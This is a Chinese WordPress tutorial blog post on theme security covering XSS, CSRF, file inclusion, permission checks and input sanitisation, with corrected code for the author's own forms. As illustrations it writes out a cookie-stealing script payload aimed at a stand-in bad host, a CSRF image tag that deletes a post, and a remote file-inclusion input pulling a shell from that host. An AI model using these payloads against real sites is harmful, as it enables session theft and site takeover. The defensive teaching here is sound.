主题安全:XSS、CSRF、文件包含

作者: admin 分类: wordpress主题制作教程 发布时间: 2026-11-06 18:54

从我侧栏里那个表单说起

这次排查,我在 sidebar.php 第 20 行看到这么一段:

<form role="form" action="http://www.caogenbj.com/laoshi.php" method="post">
  <div class="form-group">
    <label for="name">您的号码:</label>
    <input type="text" class="form-control" placeholder="您的电话号码" name="b">
  </div>
  <button type="submit" class="btn btn-default">免费通话咨询</button>
</form>

这是个”留号码,我们打给你”的表单,从之前那个物理站一起搬过来的。四个问题:

  1. action 写死了 http:// + 写死了域名,将来上 https 就得再改一次;
  2. action 没有转义,虽然这里是硬编码的地址,但写法本身是错的;
  3. 没有任何 CSRF 防护;
  4. laoshi.php 这个文件名,跟”草根站长笔记”没有任何关系。

第三条是这一篇要讲的重点。一个”提交号码”的表单,如果没有 CSRF 防护,别人可以伪造页面诱导你的访客提交,也可以直接往你库里灌数据。

XSS:输出的时候转义

XSS(跨站脚本)的原理很简单:用户输入的内容,被你原样输出到页面上,而那段内容里带了 <script>。

比如评论区。有人提交一条评论:

<script>location='http://坏站/?c='+document.cookie</script>

如果你的模板是 echo $comment_content;,这段脚本就会在所有看到这条评论的人的浏览器里执行。

防法只有一个:输出时转义。 不是输入时过滤,是输出时转义。

输出位置 用什么
标签之间的纯文本 esc_html()
属性值里(引号内) esc_attr()
URL(href/src) esc_url()
JS 字符串里 esc_js()
富文本(要保留 HTML) wp_kses_post()

我那个搜索框就写错了:

<form action="<?php echo home_url( '/' ); ?>">

应该是:

<form action="<?php echo esc_url( home_url( '/' ) ); ?>">

这里 home_url() 返回的是站点地址,正常情况下不会有问题。但”正常情况”不是安全的前提。 万一站点地址被改成带引号的值,这个属性就断了。转义的成本是 8 个字符,没有理由不写。

CSRF:表单要带 nonce

CSRF(跨站请求伪造)比 XSS 更隐蔽,因为它不需要你的网站有漏洞。

场景:你的网站有个”删除文章”的地址 /wp-admin/post.php?action=delete&post=123(只是举例)。你登录着后台,然后去访问了一个恶意页面,那个页面里藏了一张图:

<img src="http://你的站/wp-admin/post.php?action=delete&post=123">

浏览器加载这张”图”的时候,会带着你的登录 Cookie 去请求那个地址。服务器看到 Cookie 是真的,就执行了删除。 你什么都没点。

防法:每个会改变数据的请求,都带一个一次性的随机串(nonce),服务器校验它。

WordPress 自带这套机制:

<?php wp_nonce_field( 'save_phone', 'phone_nonce' ); ?>
<input type="text" name="phone">
<button type="submit">提交</button>

处理端:

<?php
if ( ! isset( $_POST['phone_nonce'] )
     || ! wp_verify_nonce( $_POST['phone_nonce'], 'save_phone' ) ) {
    wp_die( '校验失败,请返回重试。' );
}
$phone = sanitize_text_field( $_POST['phone'] );
// 到这里才敢用

nonce 里混了用户 ID、时间片和密钥,别人猜不出来,而且默认 12 到 24 小时就失效。

注意 nonce 防的是”伪造请求”,不是”重复提交”。 同一个 nonce 在有效期内可以重复用,要防重复提交得另做。

我那个”留号码”的表单,就缺这一段。改法:

<form role="form" action="<?php echo esc_url( home_url( '/laoshi.php' ) ); ?>" method="post">
  <?php wp_nonce_field( 'callback_request', 'cb_nonce' ); ?>
  <input type="tel" name="b" placeholder="您的电话号码">
  <button type="submit">免费通话咨询</button>
</form>

顺手把 action 换成了 home_url()——这样将来上 https,这里自动跟着变。

文件包含:最危险的一类

这类漏洞一旦出现,通常是”整站被接管”级别。写起来是这样:

// 致命写法,别学
include $_GET['page'] . '.php';

攻击者传 ?page=http://坏站/shell,你的服务器就去下载并执行那段代码。

主题里需要”动态加载文件”的场景不多,但确实有——比如根据分类加载不同的模板片段。正确做法是用 WordPress 提供的函数,它们会做路径校验:

// 从主题目录找文件,找不到就什么都不做
get_template_part( 'parts/content', get_post_type() );

// 或者
locate_template( 'parts/foo.php', true );

get_template_part() 的第一个参数里,绝对不能出现用户输入。 它虽然有一些路径处理,但不是为”接受任意输入”设计的。

如果确实要按分类加载,先做白名单:

$allowed = array( 'diqu', 'liuliang', 'taocan' );
$slug    = get_post_type();
if ( in_array( $slug, $allowed, true ) ) {
    get_template_part( 'parts/content', $slug );
} else {
    get_template_part( 'parts/content', 'default' );
}

安全的第一原则是”白名单”,不是”黑名单”。 黑名单永远会漏,因为你想不全。

权限检查:能不能做,先问一句

处理表单、执行动作之前,必须先确认”这个人有权限吗”:

if ( ! current_user_can( 'manage_options' ) ) {
    wp_die( '权限不足。' );
}

这条在主题里用得少(主题一般不做后台操作),但如果你的主题带了”主题设置页”,那就必须有。

顺序也要注意:先验权限,再验 nonce,最后才处理数据。 反过来会让攻击者通过报错差异探测信息。

输入清洗:不是”过滤”,是”按类型转换”

WordPress 有一组 sanitize_* 函数,用途不是”删掉危险字符”,而是”把值转换成它该有的样子”:

函数 结果
sanitize_text_field() 去掉标签、换行、多余空白
sanitize_email() 不合法的邮箱返回空字符串
absint() 转成非负整数
sanitize_key() 只留小写字母、数字、下划线、连字符

我那个表单里的电话号码,最合适的处理是:

$phone = preg_replace( '/[^0-9+\-]/', '', $_POST['b'] );

只留数字、加号、连字符,其他全去掉。这比”判断是不是手机号”更稳——因为判断规则会变(携号转网、虚拟号段),而”只允许这几个字符”永远成立。

小结

一句话记住:输出转义(XSS)、表单带 nonce(CSRF)、加载文件用白名单(包含)、动作前查权限。四件事,一件都不能省。

下一篇聊调试——白屏了、报错了,怎么在五分钟内定位。

本系列导航

相关文章

发表回复

您的邮箱地址不会被公开。 必填项已用 * 标注

Powered by 草根站长笔记 © 2015-2026 草根站长笔记 Inc.版权所有,禁止转载